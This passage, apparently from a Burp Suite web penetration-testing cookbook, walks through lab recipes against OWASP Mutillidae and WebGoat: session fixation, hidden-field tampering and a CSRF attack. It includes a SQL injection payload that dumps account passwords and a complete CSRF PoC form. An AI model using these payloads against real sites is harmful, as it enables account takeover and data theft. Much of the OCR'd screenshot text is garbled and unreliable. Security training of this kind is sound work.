Safari/537.36
Accept: Scan
text/html,application/xhtml+xml, apy
£, image/webp, image/apng,*/*:q=0.8,
=b3;q=0.7 Do active scan

w

Do passive scan

€ Referer: http://192.168.29.1268/nutij
7 Accept-Encoding: gzip, deflate Send to Intruder Ctrl+l
2 Accept-Language: en-US,en;q=0.9,en- Send to Repeater Ctrl+R
S Cookie: showhints=1; PHPSESSID=1jh«

acopendivids=swingset,jotto,phpbb2 Send to Sequencer
=nada —
10 Connection: close Savl e i

1 Comdismnn

Figure 6.11 — Send request to Comparer

4. Return to the login screen (click Login/Register from the top menu), and this time, log in
using the username ed and the password pentest.

177 http://192.168.29.128 POST /mutillidae/index.phpZpage=login.php

Request

Pretty  Raw  Hex 8w =

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.1€68.29.128

Content-Length: 58

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: htep://192.168.25.128

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91

Safari/537.36

Accept:

text/htnl, application/xhtml+xnl, application/xml;q=0.9, image/avi

£,image/webp,inage/apng, */*;q=0.8,application/signed-exchange ;v

=b3;q=0.7

Referer:

http://192.1€8.29.128/mutillidae/index.php?page=login.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showhints=1; PHPSESSID=1jho8d55sfme3rj3ividtvc0£s;
acopendivids=swingset, jotto,phpbb2,rednine; acgroupswithpersist
=nada

14 Connection: close

15

L€ username=edspassword-pentesthlogin-php-submit-button=Login

J W R

@

o

1

o

Figure 6.12 — Login as user ed
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5. After logging in, switch to Burp Suite’s Proxy | HT'TP history tab. Look for the POST request
showing your login (for example, the 302 HT TP status code) as well as the immediate GET
request following the POST request. Note the PHPSESSID value assigned after login. Right-
click and send the GET request to Comparer.

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_editio

Dashboard Tar Intruder Repeater Collaborator uencer C
get peats

Extensions Learn

Intercept | HTIP history | WebSockets history {8} Proxy settings

| Filter: Hiding CSS, image and general binary content

z Host Method URL F

Request Re
Pretty Raw Hex a wo = Pr

GET /mutillidae/index.php?popUpliotificationCode=AUl HTTP/L.1
Host: 192.168.26.128

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4)
(KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.3
Accept: Do passive scan
text/htnl, application/xhtml+xml,application/xml;q=0.9
age/apng,*/*;q=0.8,application/signed-exchange ;v=b3;q
Referer: htcp://152.168.29.128/mutillidae/index.php?p Send to Intruder Ctrl+!
Accept-Encoding: gzip, deflate

Accept-Language: en- g -CA:q=0.8 Send to Repeater Ctrl+R
Cookie: shouhints-luids:l-l; PHPSESSID=1 Send to Sequencer

; acopendivids=swingset,jotto,phpbbZ,redmine; acgroup:

o W

Scan

Y

Do active scan

) D 0 ]

=

Figure 6.13 — GET request immediately after logging in as ed

6.  Switch to Burp Suite’s Comparer. The appropriate requests should already be highlighted for you.

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_edition_3.burp - licensed to Sunny Wear [single user li.. — O X
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Logger Organizer @ Settings
Extensions Learn

Comparer @

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to
perform.

Select item 1:
# Length Data Paste
2 580 'Gl'.'l'lmniidld HTTP/1.1Host: 192.168.29.128Upgrade-Insecure-Requests: 1User-Agent: ... Load
MUTaaermaex.pnp popoprootmicats OUE=RUTTITIP 1. 105t 192 X
Remove
Clear
Select item 2:
# Length Data
3 730 P

Figure 6.14 - Comparing unauthenticated request against authenticated request
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7. Click the Words button in the bottom right-hand corner:

Comparer (©)
This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparisen you want to
perform.
Select item 1:
# Length Data | Paste |
2 580 GET /mutillidae/ HTTP/1.1Host: 192.168.29.128Upgrade-Insecure-Requests: 1User-Age... |oad
73 GET /mutillidae/index.php?popUpNotificationCode=AU1 HTTP/1.1Host: 192.168.29.1... |
| Remove
| Clear
Select item 2:
1 * Length Data
|2 580 GET /mutillidag/ HTTP/1.1Host: 192.168.29.128Upgrade-Insecure-Requests: 1User-Age.
‘3 730 GET /mutillidae/index.php?popUpNotificationCode=AU1 HTTP/1.1Host: 192.168.29.1...
Compare ...
\W ds
L | Bytes |

Figure 6.15 - Click the Words button

8. A popup shows a detailed comparison of the differences between the two requests. Note the
value of PHPSESSID does not change between the unauthenticated session (on the left) and the
authenticated session (on the right). This means the application has a session fixation vulnerability:

Word compare of #2 and #3 (4 differences)

Length: 580

GET /mutillidae/ HTTP/1.1

Host: 192,168.29.128

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Ge¢
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im:
Accept-Encoding: gzip, deflate

Accept-Language: en-US en:q=0.9,en-CA:g=0.8

Cockie: showhints=1;[PHPSESSID=ljho8d35sfme3r3ividtvc(fS; jcopendivids=swingset,jotto,f
Connection: close

® Text Hex

Key: [Modified| |DEIEEE Added

- m] X

Length: 730

GET /mutillidae/index.php?popUpNetificationCode=AU1 HTTP/1.1

Host: 192.168.29.128

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Ge¢
Accept: text/html,appli /xhtml+xml,application/xml;q=0.9,image/avif image/webp,imz
Referer: http://192.168.29.128/mutillidae/index.php?page=login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; username=ed; uid=24; FHPSESSID: ljhoSdSszm:BeridetvcﬂfS:Iacop:r

Connection: close

@® Text Hex

Sync views

Figure 6.16 — Notice value of PHPSESSID did not change after login
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How it works...

In this recipe, we examined how the PHPSESSID value assigned to an unauthenticated user remained
constant even after authentication. This is a security vulnerability allowing for the session fixation attack.

Testing for exposed session variables

Session variables such as tokens, cookies, or hidden form fields are used by application developers
to send data between the client and the server. Since these variables are exposed on the client side,
an attacker can manipulate them in an attempt to gain access to unauthorized data or to capture
sensitive information.

Burp Suite’s Proxy option provides a feature to enhance the visibility of so-called hidden form fields.
This feature allows web application penetration testers to determine the level of sensitivity of the data
held in these variables. Likewise, a pentester can determine whether the manipulation of these values
produces a different behavior in the application.

Getting ready

Using the OWASP Mutillidae II application and Burp Suite’s Unhide hidden form fields feature
under Proxy, we'll determine whether manipulation of a hidden form field value results in gaining
access to unauthorized data.

How to do it...

1. Switch to Burp Suite’s Proxy tab by clicking the Settings gear icon in the top right-hand corner
of Burp Suite.

O X

{0} Settings

Figure 6.17 — Global Settings button
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2. Once the large pop-out window displays, select All | Proxy.
Settings
All User Project
v Tools

Intruder
Repeater
Sequencer

Burp's browser
> Project

Sessions

> Network

> User interface
> Suite

Extensions

M Configuration library
3.

Figure 6.18 — Settings menu

®

@

Response modification rules

Unhide hidden form fields

Use these settings to control how Burp automatically modifies responses.

Prominently highlight unhidden fields
1" TEnable disabled form fields

| Remove input field length limits

| Remove JavaScript form validation
| Remove all JavaScript

| Remove <object> tags
| Convert HTTPS links to HTTP

| Remove secure flag from cookies

Figure 6.19 — Proxy | Response modification rules subsection

Within the Proxy section, scroll down to the Response modification rules section, and check

the boxes for Unhide hidden form fields and Prominently highlight unhidden fields:
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4. Navigate to the User Info page by going to OWASP 2013 | A1 - Injection (SQL) | SQLi - Extract
Data | User Info (SQL):

@ OWASP Mutillidae Il: Web Pwn in

Version: 2.6.24

Security Level: 0 (Hosed) Hints: Enabled (1 - 5cr1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

OWASP 2013 A1l - Injection (SQL) » | SQLi - Extract Data | User Info (SQL)

Figure 6.20 - User Info page of the application

5. Note the hidden form fields now prominently displayed on the page:
®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kiddie) Not Logged In

Home Login/Register| Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2013
( User Lookup (SQL) ]
OWASP 2010
OWASP 2007 @ Back Q Help Me!
Hints |

= AN
A’Ax Switch to SOAP Web Service version XML Switch to XPath version

=

Documentation 4

Hidden field [page] e

{ Please enter username and password ]

Getting Started: to view account details
Project Whitepaper
Name
’ Password

Figure 6.21 — Hidden fields predominantly displayed

6. Let’s try to manipulate the value shown, user-info. php, by changing it to admin . php
and see how the application reacts. Modify user-info.php to admin. php within the
Hidden field [page] textbox:
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( User Lookup (SQL)
@ Back g Help Me!
[ ® Hints ]

N [
A’Ax Switch to SOAP Web Service version Switch to XPath version

Hidden field [page] mmmm

Figure 6.22 — Change value of hidden field

7. Hit the Enter key after making the change. You should now see a new page loaded showing
PHP Server Configuration information:

Secret PHP Server Configuration Page

g Help Me!

Back

(php.ini) Path

System Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC
2010 i686

Build Date Apr 17 2015 15:01:49

Server API Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File letc/phpS/apache2

Loaded
Configuration File

Jowaspbwa/owaspbwa-svn/etc/php5/apache2/php.ini

Scan this dir for
additional .ini files

/etc/php5/apache2/conf.d

Additional .ini files
parsed

Jetc/php5/apache2/conf.d/curl.ini, /ete/php5iapache2/conf.d/gd.ini, /etc/phpS/apache2
/conf.d/merypt.ini, /etc/php5/apache2/conf.d/mysal.ini, /etc/phpS/apache2/conf.d
/mysaqli.ini, /etc/php5/apache2/conf.d/pdo.ini, /etc/phpS/apache2/conf.d/pdo_mysqLini

PHP API 20090626
PHP Extension 20090626
Zend Extension 220090626

Zend Extension

API1220090626 NTS

Figure 6.23 — Resulting PHP configuration page exposed
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How it works...

As seen in this recipe, there isn’t anything hidden about hidden form fields. As penetration testers,
we should examine and manipulate these values, to determine whether sensitive information is
inadvertently exposed or whether we can change the behavior of the application from what is expected,
based on our role and authentication status. In the case of this recipe, we were not even logged in
to the application. We manipulated the hidden form field labeled page to access a page containing
fingerprinting information. Access to such information should be protected from unauthenticated users.

Testing for cross-site request forgery

Cross-Site Request Forgery (CSRF) is an attack that rides on an authenticated user’s session to allow
an attacker to force the user to execute unwanted actions on the attacker’s behalf. The initial lure
for this attack can be a phishing email or a malicious link executing through a cross-site scripting
vulnerability found on the victim’s website. CSRF exploitation may lead to a data breach or even a
full compromise of the web application.

Getting ready

Using the OWASP Mutillidae IT application registration form, determine whether a CSRF attack is possible
within the same browser (a different tab) while an authenticated user is logged in to the application.

How to do it...

To begin this recipe, let’s first baseline the current number of records in the account table and perform
SQL injection to see this:

1. Navigate to the User Info page by going to OWASP 2013 | A1 - Injection (SQL) | SQLi - Extract
Data | User Info (SQL).

2. At the username prompt, type in a SQL injection payload to dump the entire account table
contents. The payloadis ' or 1=1-- <spaces (tick or I equals I dash dash space). Then,
press the View Account Details button.
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Remember to include the space after the two dashes, since this is a MySQL database; otherwise,
the payload will not work:

User Lookup (SQL)

Q Switch to XPath version

Please enter username and password
to view account details

Name |[ or 1=1-- I

Password [

[ View Account Details ]

Figure 6.24 — SQL injection payload

3. When performed correctly, a message displays that 24 records were found in the database for
users. The data shown following the message reveals the usernames, passwords, and signature
strings of all 24 accounts. Only two account details are shown here as a sample:

[ Results for " or 1=1--|".24 records |found.

Username=admin
Password=admin
Signature=g0t rO0t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Figure 6.25 — Baseline of 24 records

We confirmed that 24 records currently exist in the accounts table of the database.

4. Now, return to the login screen (click Login/Register from the top menu) and select the Please
register here link.

5.  After clicking the Please register here link, you are presented with a registration form.
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6.

10.

11.

Fill out the form to create a tester account. Type in tester as the username, tester as the
password,and This is a tester account asthe signature:

Username [@

Password esecee Password Generator

Confirm Password [eeecee

This is a tester account

Signature

Figure 6.26 — Register a new user

After clicking the Create Account button, you should see a green banner confirming the
account was created:

Figure 6.27 — Confirmation of the new account creation

Return to the User Info page by going to OWASP 2013 | A1 - Injection (SQL) | SQLi - Extract
Data | User Info (SQL).

Perform the SQL injection attack again and verify that you can now see 25 rows in the account
table, instead of the previous count of 24:

Results for " or 1=1-- ".25 records found.

Figure 6.28 — 25 rows visible in the account table

Switch to the Proxy | HTTP history tab in Burp Suite and view the POST request that created
the account for the tester.

Studying this POST request shows the POST action (register.php) and the body data
required to perform the action, in this case, username, password, confirm password,
andmy signature. Also, notice there is no CSRF token used. CSRF tokens are placed within
web forms to protect against the very attack we are about to perform. Let’s proceed.
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12. Right-click on the POST request and click on Send to Repeater:

n Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_edition_3.burp - licensed to !

Dashboard Target Intrud Rep Collab Seq er Decoder Comparer

Extensions Learn
Intercept WebSockets history {S) Proxy settings

‘ Filter: Hiding CSS, image and general binary content

# Host Method URL Params  Edited St
194  hitp://192.168.29.128 GET /mutillidae/index.php?page=user-info.php v 200
33 52.168.29.128 P utillidae/index.php?pag egister.php v 200
Request Response
Pretty Raw Hex a n_= Death o o
1 POST /mutillidae/index.php?page=register.php HTTP/1.1 Scan
2 Host: 192.1€8.29.128 Do passive scan
2 Content-Length: 147 )
4 Cache-Control: max-age=0 Do active scan
5 Upgrade-Insecure-Requests: 1
& Origin: http://192.168.29.128 send to Intruder Ctrl-|
7 Content-Type: application/x-www-form-urlencoded 5end to Repeate Ctrl+R
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64) AppleWebKit/537. 3¢
(KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 end to Sequencer
9 Accept: o o . o Send to Comparer
text/html, application/xhtml+xml, application/xml;q=0.9,inage/avif, image/y
mage/apng,*/*;q=0.8,application/signed-exchange ;v=b3;q=0.7 Send to Decoder

10 Referer: http://192.168.29.128/mutillidae/index.php?page=register.php
11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 Show response in browser
13 Cookie: showhints=1; PHPSESSID=1jho8d55sfme3rj3ividtvc0f5; acopendividss

Send to Organizer Ctrl+0

swingset,jotto,phpbbZ, rednine; acgroupswithpersist=nada Request in browser >
14 Connection: close Engagement tools >
15
© csrf-token=susername=testerspassword=testeraconfirm password=testers Copy URL
ny_signature=This+is+attester+accountsregister-php-submit-button= Copy as curl command (bash)
Create+Account
Copy to file
@{é} |€||2] | search.. ‘ 0n Save item

PSS R

Figure 6.29 - Send login to Repeater

13. If you're using Burp Suite Professional, right-click and select Engagement tools | Generate
CSRF PoC:
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Figure 6.30 — Generate CSRF PoC

Bl Bup Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_edition_3.burp - licer
Dashboard Target Proxy Intruder Collaborator Sequencer Decoder 4
Extensions Learn
1= 2 x 3 x 4 x 5 x +

. Scan
m @ Cancel v > |v -
Do passive scan
Do active scan m =

Request Send to Intruder Ctrl+
Pretty Raw Hex a \n Send to Repeater Ctrl+R  Render \n
'POST /mutillidas/index.php?page-register.phy | Send to Sequencer
> 1.

2 Host: 192.1£8.28.128 Send to Comparer

3 Content-Length: 147 Send to Decoder

4 Cache-Control: max-age=0 )

5 Upgrade-Insecure-Requests: 1 Send to Organizer Ctrl+0O

€ Origin: http://192,168.29,128

7 Content-Type: Insert Collaborator payload

application/x-www-form-urlencodsd Request in browser

g User-Agent: Mozilla/5.0 (Windows NT 10.0; N

Winéd; x£4) AppleWebKit/537.36 (KHTML, like Extansions
Gecko) Chrome/114.0.5735.91 Safari/537.36 Find references
9 Accept: - )

text/html,application/xhtml+xml,application/ Change request method Discover content
nl:;q=0.9,image/avif, inage/webp, inage/apng,* 3
2q=0.8,application/signed-exchange;v=b3;q=0. Change body encoding Schedule tack

10 Referer: Copy URL Generate CSRF PoC
http: //192.168.29.1268/mutillidae/index.php?y -

14. Upon clicking this feature, a pop-up box generates the same form used on the registration
page but without any CSRF token protection. Inside the CSRF HTML text area, change the
"tester" username to "attacker". Change the password to "attacker". Change the

"tester" confirm password value to "attacker":

CSRF PoC generator
Request to: http://192.168.29.128

Pretty Raw Hex

Search.

[QIGIIEY

Regenerate

= [m] X

| options | (3)
= U

— Inspector L) w | - @ X
1 POST /mutillidae/index.php?page=register.php
HTTP/1.1 i
2 Host: 192.168.29.128 Request attributes » v
3 Content-Length: 147
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1 Request query parameters 1 )7
€ Origin: hrtp://192.168.28.128
7 Content-Type: application/x-wwu-form-urlencoded v
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Vinéd: e 8
wAA) _AnnleWehRit /537 34 (KHTML  like Gecknl
@@ € ||>| | search. Omatches | Request cookies 4 v
CSRFHTML:
1 <html>
2 <!== CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <form action="http://192.168.26.128/mutillidae/index. php?page=register.php” methods="
5 <input _type="hidden” CSLfcgds;token” value="" />
; <input type="hidden" Username” value="attacker” />
7 <input type="hidden” password” value="attacker” />
8 <input type="hidden” name="confirms#95:password” value="attacker}" />
] Tiput = i TSIgnature Te=" E13 kRS ETS kbt
10 <input type="hidden" name="registers#45;phpa#45;submitsa#45 :button” value:
1 <input type="submit” value="Submit request” />
12 </form»
13 <script>
14 history.pushStatei'', '', '/'};
15 document. forns[0].submit () ;
16 </script>
17 </body>
18 </html>

0 matches

Test in browser \I Copy HTML Close

Figure 6.31 — Modify and copy HTML
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15. Click the Copy HTML button and save it as a file called csrf . html on your local system:

C;* csrf.html

Figure 6.32 — Name the new file csrf.html

16. If you are using Burp Suite Community, you can easily recreate the CSRF PoC form by viewing
the source code of the registration page:

Register for an Account

Version of this Page

[ Please choose your username, password and signature ]

Username

Password Password Generator « 5 ¢
Confirm Password [— Save Page As...
Save Page to Pocket
Signature Send Page to Device >
View Background Image
Select All
[ViewPsgesource |
View Page Info
Inspect Element (Q)
§2 Take a Screenshot

Figure 6.33 — For Burp Suite Community edition, how to create CSRF PoC

17. While viewing the page source, scroll down to the <forms> tag section. For brevity, the form is
recreated next. Insert at tacker as a value for the username, password, and signature. Copy
the following HTML code and save it in a file entitled csrf . html:

<html>
<body>
<script>history.pushState('', '', '/')</script>

<form action="http://192.168.56.101/mutillidae/index.
php?page=register.php" method="POST">

<input type="hidden" name="csrf-token" value="" />

<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="attacker" />
<input type="hidden" name="confirm password" value="attacker"

/> <input type="hidden" name="my signature" value="attacker
account" />

<input type="hidden" name="register-php-submit-button"
value="Create Account" />

<input type="submit" value="Submit request" />
</form>
</body>
</html>
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18. Now, return to the login screen (click Login/Register from the top menu) and log in to the
application, using the username ed and the password pentest.

19. Open the location on your machine where you saved the csrf . html file. Drag the file into
the browser where ed is authenticated. After you drag the file to this browser, csrf . html
will appear as a separate tab in the same browser:

v/ G‘ csrf.html

Figure 6.34 — Name the new file csrf.html

20. For demonstration purposes, there is a Submit request button. However, in the wild, a JavaScript
function would automatically execute the action of creating an account for the attacker. Click
the Submit request button:

192.168.56.101/mutillidae/i X /C:/Packt/Ch6%20Assessing%20Se- X

C ® ® file:///C:/Packt/Ch6 Assessi
Submit request
Figure 6.35 — Submit request in new tab

You should receive a confirmation that the attacker account has been created:

( Register for an Account
Back e Help Me!
Hints

Figure 6.36 — Confirmation of CSRF attack success

21. Switch to the Proxy | HTTP history tab in Burp Suite and find the maliciously executed POST
request used to create the account for the attacker, while riding on the authenticated session
of ed. Note the Origin header value of "null". This confirms we are using our CSRF PoC
since we drag and drop it from our local machine (e.g., origin of nothing) into a new tab of an
authenticated user’s session.
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_edition_3.burp - licensed
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Com|
Extensions Learn
Intercept WebSockets history {S} Proxy settings

Filter: Hiding CSS, image and general binary content

# Host Method URL Params  Edited
http://192.168.29.128 POST /mutillidae/index.php?page=register.php ] v i

Request Response
Pretty Raw Hex \n = Pretty Raw |

1 POST /mutillidae/index.php?page=register.php HTTP/1.1 1 HTTP/1.1 200

2 Host: 192.1€B8.29.128 2 Date: Mon, 05

3 Content-Length: 153 3 Server: Apach

4 Cache-Control: max-age=0

S _Upgrad jre-Requests: 1

pe: application/x-www-form-urlencoded

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x£4) AppleWebFKit/537.3&
(FHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36

9 Accept:
text/htnl, application/xhtml+xml ,application/xml;q=0.9,image/avif, image /webp,im
age/apng, */*;q=0.8,application/signed-exchange ;v=b3;q=0.7

10 Accept-Encoding: gzip, deflate

PHP/5.3.Z2-1ulr
proxy _html/3.
mod_ssl/Z2.2.1
Phusion_Passe
Perl/v5.10.1

X-Powered-By:
Set-Cookie: P
TvdsOhZ4gfhlo

¢ Set-Cookie: s

Logged-In-Use

Vary: Accept-

11 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 B
% Content-Lengt

12 Cookie: username=ed; uid=24 2

13 Connection: close 10 Connection: ¢

14 11 Content-Type:
15 esrf-tokens= use:naﬂe=a:tackerspassworhar.tackezscnnf].rn_passuord=at,:ac]te 12
ny_signat,u: =nsr1s eyee cCcountereglIter=pnp= 1T - 13
Create+Account 14

15 < IMNCTVREF HTM

Figure 6.37 — CSRF attack as seen in Burp
22. Return to the User Info page by going to OWASP 2013 | A1 - Injection (SQL) | SQLi - Extract

Data | User Info (SQL) and perform the SQL injection attack again. You will now see 26 rows
in the account table instead of the previous count of 25:

Results for ™ or 1=1-- .26 records found.

Figure 6.38 — Record count incremented by 1 after CSRF attack

How it works...

CSREF attacks require an authenticated user session to surreptitiously perform actions within the
application on behalf of the attacker. In this case, an attacker rode on ed’s session to re-run the
registration form to create an account for the attacker. If ed had been an admin, this could have
allowed the attacker to gain access to an elevated role as well.
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Assessing Business Logic

This chapter covers the basics of business logic testing, including an explanation of some of the more
common tests performed in this area. Web penetration testing involves key assessments of business
logic to determine how well the design of an application performs integrity checks, especially within
sequential application function steps, and we will be learning how to use Burp Suite to perform such tests.

In this chapter, we will cover the following recipes:

o Testing business logic data validation

o Unrestricted file upload—bypassing weak validation
o Performing process-timing attacks

o Testing for the circumvention of workflows

o Uploading malicious files—polyglots

Technical requirements
To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications (BWA)

o  OWASP Mutillidae link

o« OWASP WebGoat link

o  OWASP Damn Vulnerable Web Application (DVWA) link

o Burp Proxy Community or Professional (https://portswigger.net/burp/)

o Firefox browser using FoxyProxy add-on or Burp Suite browser


https://portswigger.net/burp/
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Testing business logic data validation

Business logic data validation errors occur due to a lack of server-side checks, especially in a sequence
of events such as shopping cart checkouts. If design flaws such as thread issues are present, those flaws
may allow an attacker to modify or change their shopping cart contents or prices prior to purchasing
them, to lower the price paid.

Getting ready
Using the OWASP WebGoat application and Burp, we will exploit a business logic design flaw to

purchase many large ticket items for a very cheap price.

How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat application from the
initial landing page of the VM. The landing page will be configured to an IP address specific
to your machine:

owaspbwa

OWASP Broken Web Applications Project

A

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&sort=_severity+asc.

@ 1! This VM has many serious security issues. We strongly recommend that you run it only
on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

© owASP WebGoat © OWASP WebGoat NET
© OWASP ESAPI Java SwingSet Interactive ©0owASP Mutillidae 11
© owWASP RailsGoat © OwWASP Bricks
©0owASP Security Shepherd ©Ghost

eMagical Code Injection Rainbow QM

© Damn Vulnerable Web Application

Figure 7.1 - VM landing page
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2. After you've clicked the OWASP WebGoat link, you will be prompted for some login credentials.
Use these credentials—username: guest; password: guest.

3. After authentication, click the Start WebGoat button to access the application exercises:

owaspwebcoat vsa |

Thank you for using WebGoat! This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing techniques.

The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at

WebGoat@owasp.org.
.
OWASP ASPECT
The Open Wb \pplication Security Pros
pplicatam ty Project
WebGoat Authors
Bruce Mayhew
Jeff Williams
WebGoat Design Team V5.4 Lesson Contributers
David Anderson Sherif Koussa
Laurence Casey (Graphics) Yiannis Pavlosoglou
Rogan Dawes
Bruce Mayhew
Special Thanks for V5.4 Documentation Contributers
" Erwin Geimnaert
Brian Ciomei (Multitude of bug fixes) Aung Khant

To all who have sent comments

Figure 7.2 — Starting the WebGoat application

Sherif Koussa

4. Note the WebGoat application seems to work better in Firefox with FoxyProxy set to send
traffic to Burp Suite instead of using the Burp Suite browser. Click Concurrency | Shopping
Cart Concurrency Flaw from the left-hand menu:
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Choose another language: English ~ Logout e

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction Solution Videos Restart this Lesson
General

Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws

Buffer Overflows merchandise for a lower price.

oncurrency =
Thread Safety Problems - Sho )pln_g Cart -
Shopping Cart Concurrenc Shopping Cart Items Price Quantity Subtotal
Flaw Hitachi - 750GB External Hard Drive $169.00|0 $0.00
Cross-Site Scripting (XSS) =
Improper Error Handling I};lgwlett—Packard - All-in-One Laser $299.00|0 $0.00
Injection Flaws rinter
Denial of Service _ \ain wi . 1
IFeaiita Gt GriCataH Sony - Vaio with Intel Centrino $1799.00|0 $0.00
Insecure Configuration F 7
Insecure Storage Toshiba - XGA LCD Projector $649.00(0 $0.00
Malicious Execution
Parameter Tampering s
Session Management Flaws Total: $0.00
Web Services Update Cart
Admin Functions
Challenge
Purchase
ASPECT

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.3 - Shopping Cart Concurrency Flaw

The exercise explains there is a thread issue in the design of the shopping cart that will allow
us to purchase items at a lower price. Let’s exploit the design flaw!

5. Add 1 to the Quantity box for the Sony - Vaio with Intel Centrino item. Click the Update

Cart button:
Shopping Cart
Shopping Cart Items Price Quantity Subtotal

Hitachi - 750GB External Hard Drive | $169.00(0 |$0.00
Hewlett-Packard - All-in-One Laser

Hewlet $299.00 (0 |$0.00
Sony - Vaio with Intel Centrino $1799.00 |11 I $0.00
Toshiba - XGA LCD Projector $649.00 0 |$0.00
Total: $0.00

Update Cart

Purchase

Figure 7.4 — Adding one Sony Vaio to the cart
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Switch to Burp Suite’s Proxy | HTTP history tabs. Find the cart request, right-click, and click
Send to Repeater:

Dashboard Target Intruder Repeater Collaborator

Comparer Logger Organizer Extensions Learn Timeinator
Intercept WebSockets history @ Proxy settings

Filter: Hiding out of scope items; hiding script, CSS, image and flash content

z Host Method URL
476  http://192.168.29.128 GET /WebGoat/images/menu_images/1x1_open.gif
N N
Request Response
Pretty Raw Hex a n = Pretty Raw Hex
/Heb&oatlattack?Screen=§lineml=BDD HTTP/l.1 1 HITP/1.1 200 OK
2 HostT 192.168.29.128 2 Date: Tue, D€ Jun
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; 0y
XE4; rv:109.0) Gecko/Z0l00101 Firefox/ll Scan Kt
4 Accept: . bl
text/html,application/xhtml+xml, applicati Do passive scan od
q=0.5, image/avif,image /webp, */*;q=0.8 Do active scan 3
5 Accept-Language: en-US,en;q=0.5 B2
& Accept-Encoding: gzip, deflate Send to Intruder Ctrl+l
7 Content-Type: application/x-www-form-urle e t Ctrl
& Content-Length: 46 ik s J .
9 Origin: http://192.168.259.128 Send to Sequencer
10 Authorization: Basic Z3V1c3Q6Z3V1c3Q= Sendto C JB
11 Connection: close i R mparey 1
12 Referer: Send to Decoder ]
http: //192.168.29. 128/WebGoat/attack ?Scr a
enu=800 Send to Organizer Ctrl+0
13 Cookie: JSESSIONID= Show response in browser p:
E45ZDCFD12F4530ZEFCBEBY1873A4C4A .
14 Upgrade-Insecure-Requests: 1 Request in browser 2
15 na

Extensions >

16 OTY.L=U:GTY:=DELUTY4= 0sSUBMIT=Update

Figure 7.5 — Send to Repeater
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238 Assessing Business Logic

7. Inside Burp Suite’s Repeater tab, change the QTY3 parameter from 1 to 10:

Dashboard Target Proxy Intruder

Comparer Logger Organizer Extensions Learn Tir
1 = 2iin 3 x 4 x 5 x 6 x 7 x +

ERG -

Request Resp
Pretty Raw Hex m = Prett
| P0ST WWebGoat/attack ?Screen=91smenu=600
'HTTP/1.1

2 Host: 192.168.29.128

3 User-Agent: Mozilla/5.0 (Windows NT 10.0;

Wingd; ®x€4; rv:109.0) Gecko/20100101

Firefox/111.0

Accept:

text/htnl ,application/xhtml+xml,application/xml

2q=0.9,image/avif,inage/webp,*/*;q=0.8

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

Origin: http://152.1668.29.128

10 Authorization: Basic Z3V1c3Q6Z3Vic3Q=

11 Connection: close

12 Referer:
http: //152.168.29. 128/WebGoat/attack?Screen=91s
menu=800

13 Cookie: JSESSIONID=
E452DCFD1ZFA4530ZEFCBBBS1873A4C4A

14 Upgrade-Insecure-Requests: 1

1=

] on LN

w o

43
